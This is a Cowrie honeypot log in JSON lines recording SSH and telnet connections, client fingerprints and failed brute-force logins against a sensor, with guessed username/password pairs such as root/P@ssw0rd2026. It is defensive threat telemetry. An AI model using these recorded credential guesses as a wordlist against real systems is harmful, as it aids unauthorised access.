{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:03:44.600814Z","src_ip":"59.152.168.184","session":"e0f2a4f1683c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:03:45.170010Z","src_ip":"114.220.238.21","session":"e6d22deffdfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd2026","message":"login attempt [root/P@ssw0rd2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:03:45.475918Z","src_ip":"59.152.168.184","session":"e0f2a4f1683c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:03:46.691955Z","src_ip":"59.152.168.184","session":"e0f2a4f1683c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":22.13049030303955,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:03:54.415842Z","src_ip":"170.64.224.25","session":"c50ad4a10f62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.205.153","src_port":42186,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bfdcf856ff2","protocol":"ssh","message":"New connection: 152.32.205.153:42186 (10.17.0.5:22) [session: 2bfdcf856ff2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:03:59.143039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:03:59.147951Z","src_ip":"152.32.205.153","session":"2bfdcf856ff2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:03:59.158087Z","src_ip":"152.32.205.153","session":"2bfdcf856ff2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdf123123","message":"login attempt [root/asdf123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:03:59.234411Z","src_ip":"152.32.205.153","session":"2bfdcf856ff2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:00.247096Z","src_ip":"152.32.205.153","session":"2bfdcf856ff2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":57722,"dst_ip":"159.203.135.109","dst_port":22,"session":"f133286d2540","protocol":"ssh","message":"New connection: 194.113.233.25:57722 (159.203.135.109:22) [session: f133286d2540]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:05.362071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:05.364543Z","src_ip":"194.113.233.25","session":"f133286d2540","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:05.453211Z","src_ip":"194.113.233.25","session":"f133286d2540","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dimondimon","message":"login attempt [root/dimondimon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:05.723901Z","src_ip":"194.113.233.25","session":"f133286d2540","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:06.815794Z","src_ip":"194.113.233.25","session":"f133286d2540","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":44676,"dst_ip":"10.17.0.5","dst_port":22,"session":"710bfc342ce3","protocol":"ssh","message":"New connection: 8.210.75.243:44676 (10.17.0.5:22) [session: 710bfc342ce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:07.979305Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.132.172","src_port":59312,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a9ecbafd1c9","protocol":"ssh","message":"New connection: 162.241.132.172:59312 (159.203.135.109:22) [session: 6a9ecbafd1c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:08.915260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:08.919464Z","src_ip":"162.241.132.172","session":"6a9ecbafd1c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:08.945200Z","src_ip":"162.241.132.172","session":"6a9ecbafd1c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ledger","password":"ledger123","message":"login attempt [ledger/ledger123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:09.022203Z","src_ip":"162.241.132.172","session":"6a9ecbafd1c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.196.150.5","src_port":43562,"dst_ip":"10.17.0.5","dst_port":22,"session":"38f99a55d4f8","protocol":"ssh","message":"New connection: 196.196.150.5:43562 (10.17.0.5:22) [session: 38f99a55d4f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:09.959523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:09.963190Z","src_ip":"196.196.150.5","session":"38f99a55d4f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:10.051333Z","src_ip":"162.241.132.172","session":"6a9ecbafd1c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:10.072406Z","src_ip":"196.196.150.5","session":"38f99a55d4f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sysadm","message":"login attempt [root/sysadm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:10.531266Z","src_ip":"196.196.150.5","session":"38f99a55d4f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:11.644353Z","src_ip":"196.196.150.5","session":"38f99a55d4f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.51.138","src_port":49918,"dst_ip":"10.17.0.5","dst_port":22,"session":"13a4e74ae35e","protocol":"ssh","message":"New connection: 147.45.51.138:49918 (10.17.0.5:22) [session: 13a4e74ae35e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:15.307015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:15.310922Z","src_ip":"147.45.51.138","session":"13a4e74ae35e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:15.399979Z","src_ip":"147.45.51.138","session":"13a4e74ae35e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ll","message":"login attempt [root/ll] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:15.784943Z","src_ip":"147.45.51.138","session":"13a4e74ae35e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:16.876369Z","src_ip":"147.45.51.138","session":"13a4e74ae35e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":41502,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b70f634176b","protocol":"ssh","message":"New connection: 103.82.132.16:41502 (159.203.135.109:22) [session: 2b70f634176b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:18.871978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:18.881392Z","src_ip":"103.82.132.16","session":"2b70f634176b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:19.138983Z","src_ip":"103.82.132.16","session":"2b70f634176b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"060589","message":"login attempt [root/060589] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:19.914694Z","src_ip":"103.82.132.16","session":"2b70f634176b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:21.177123Z","src_ip":"103.82.132.16","session":"2b70f634176b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.143.200.246","src_port":40972,"dst_ip":"10.17.0.5","dst_port":22,"session":"158edc1742cf","protocol":"ssh","message":"New connection: 45.143.200.246:40972 (10.17.0.5:22) [session: 158edc1742cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:23.345429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:23.349157Z","src_ip":"45.143.200.246","session":"158edc1742cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:23.450445Z","src_ip":"45.143.200.246","session":"158edc1742cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12qwaszx","message":"login attempt [ubuntu/12qwaszx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:23.891657Z","src_ip":"45.143.200.246","session":"158edc1742cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:24.995930Z","src_ip":"45.143.200.246","session":"158edc1742cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":38374,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7a85fe37eb6","protocol":"telnet","message":"New connection: 170.64.224.25:38374 (159.203.135.109:23) [session: f7a85fe37eb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:33.392557Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":56786,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2d9e5b75da3","protocol":"ssh","message":"New connection: 8.210.75.243:56786 (10.17.0.5:22) [session: f2d9e5b75da3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:35.642820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:36.138900Z","src_ip":"8.210.75.243","session":"f2d9e5b75da3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":48556,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b9148e60c68","protocol":"ssh","message":"New connection: 190.244.39.224:48556 (159.203.135.109:22) [session: 5b9148e60c68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:51.849097Z"}
